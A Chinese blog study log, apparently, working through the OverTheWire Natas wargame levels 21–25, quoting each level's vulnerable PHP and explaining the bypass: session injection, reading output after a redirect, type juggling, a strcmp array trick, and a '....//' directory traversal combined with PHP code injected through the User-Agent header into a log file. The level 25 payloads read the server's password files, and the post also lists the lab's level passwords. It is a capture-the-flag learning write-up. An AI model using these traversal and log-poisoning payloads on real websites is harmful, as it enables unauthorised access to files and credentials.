170820 WarGames-Natas(21-25)

1625-5 王子昂 总结《2017年8月20日》 【连续第322天总结】
A. WarGames-Natas
B.

Level 21

这次本网页没有任何内容,只有session[admin]的检测
不过给了另外一个网页,关键脚本如下

// if update was submitted, store it 
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 

虽然在改变本页的时候进行了合法性检测,但是这里已经足够把admin=1保存在session中了
保存下来以后,抓包得到sessionID,回到刚才的网页,把包拦下来篡改ID后发出,校验通过:

Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

原理:由于提示两个网页保存在同一处,说明session文件也是共用的;在后一个网页注入admin=1后PHP将其保存在session文件里,把另一个网页的sessionID改为这边被注入admin=1过的sessionID后,原网页读取ID文件将会得到被注入的文件
我自己仅复制sessionID时好像没通过,要把cookies全部(包括其他一些不知道啥玩意儿的东西)都复制过去

Level 22

脚本很简单:

if(array_key_exists("revelio", $_GET)) { 
    // only admins can reveal the password 
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { 
    header("Location: /"); 
    } 
} 

<? 
    if(array_key_exists("revelio", $_GET)) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas23\n"; 
    print "Password: <censored></pre>"; 
    } 
?> 

关键在于header(“Location: /”)
header()的作用是给客户端重新发送HTTP头
指定Location的作用就是302重定向,/是本文件,即刷新
但是如果之后不使用exit()函数的话,后面的命令会照常执行
虽然浏览器看不到,但是数据实际上还是发过来了
通过BurpSuite可以看到在第一次发出了请求后,随即又接受到了重定向,再次发起了一个请求,但是由于BurpSuite抓不到返回包所以并看不到print的数据
Chrome不知道是不是出于安全考虑堵死了这个漏洞,即使勾上了Preserve log可以看到302的包也只能看到header,Preview页面显示failed to load data
不过没关系,还有WireShark,ping一下host得到IP,筛选出来以后终于看到302包的data:

You are an admin. The credentials for the next level are:

Username: natas23 
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

Level 23

原脚本为:


<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

strstr():检查后者是否为前者的子串
password的值既要包含”iloveyou”,又要>10
在PHP中,字符串与数字比较时将会先被转换为数字,转换规则查手册可知:

当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含 ‘.’,’e’ 或 ‘E’ 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值。其它所有情况下都被作为 float 来取值。该字符串的开始部分决定了它的值。如果该字符串以合法的数值开始,则使用该数值。否则其值为 0(零)。合法数值由可选的正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分由 ‘e’ 或 ‘E’ 后面跟着一个或多个数字构成。

因此包含e的构造科学计数法也行,最简单的是直接提交”11iloveyou”

The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg

另外再提一下”==”的漏洞:
  ==比较运算符,如果两端类型不同将会先进行类型转换再比较;字符串将先被转为数字
  ===类型比较运算符,如果两端类型不同将直接返回False

Level 24
<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

很明显,漏洞在于strcmp()函数
查找一下,发现官方文档提示在5.3版本以后如果参数错误将也会返回0
将passwd而已构造成数组提交即可
shellcode:http://natas24.natas.labs.overthewire.org/?passwd[]=1

Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23

The credentials for the next level are:
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c

Level 25
function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }

这次脚本中对提交参数进行了两次安全监测:
将”../”替换成”“来避免返回上级目录,但是由于使用的是if,所以只会替换一次
那么只需要构造复合参数”….//”类型的即可,替换掉中间的../后外边两侧的形成了新的../
代码中给出了Log文件的路径,因此可以直接对lang表单的注入查看log文件(sessionID通过抓包取得)
shellcode:

http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas25_1e400ohtcsajnp5alvdesm21g6.log

第二次检测直接堵死了natas_webpass,因此不能直接查看密码文件
刚开始想通过strstr()对大小写敏感的特性,修改大小写来绕过,不过似乎file_exists也对大小写敏感,遂失败

那么问题就只能在log上动手脚了,观察log的写入脚本,发现http_user_agrent存在注入的可能
直接添加$(echo a)失败,字符串拼接的地方不会执行
但是没关系,显示log的方式是include()函数
这个函数会先以html格式解析执行再加入源文件
也就是说,可以添加标签<?php ?>来注入php
抓包,修改HTTP_USER_AGRENT为<?php include("/etc/natas_webpass/natas26")?>即可注入成功

[20.08.2017 02::25:16] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T “Directory traversal attempt! fixing request.”

PS:也可以用别的函数,例如passthru(“cat /etc/natas_webpass/natas26”)
PPS:刚开始忘了加引号,导致log文件执行错误,进而所有内容都无法显示;再添加正确的shellcode也同样因为刚才的log内容还在而无法显示。这种情况换一个sessionID的log文件即可(log文件的ID和cookies中的ID同步更改)

C. 明日计划
NATAS

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值